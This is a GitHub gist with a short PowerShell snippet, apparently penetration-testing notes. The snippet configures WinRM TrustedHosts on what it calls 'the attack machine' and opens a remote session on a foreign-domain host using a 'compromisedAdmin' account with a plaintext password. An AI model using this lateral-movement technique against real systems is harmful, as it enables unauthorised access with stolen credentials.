Skip to content

Instantly share code, notes, and snippets.

@chriselgee
Created September 18, 2021 17:31
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save chriselgee/c86da22a91450a309d3a920b24588ee9 to your computer and use it in GitHub Desktop.
Save chriselgee/c86da22a91450a309d3a920b24588ee9 to your computer and use it in GitHub Desktop.
Enter-PSSession from outside a domain
# Tell the attack machine to trust these hosts on a foreign domain
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="ws01.example.com,sql02.example.com"}'
# Enter the credentials to use when connecting
$username = "example.com\compromisedAdmin"
$pass = "Luggage=12345"
$fancypass = ConvertTo-SecureString $pass -AsPlainText -Force
$dacred = New-Object System.Management.Automation.PSCredential ($userName, $fancypass)
# Connect!
Enter-PSSession -ComputerName ws01.example.com -Credential $dacred
@chriselgee
Copy link
Author

Try this next time to move to all native PowerShell

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment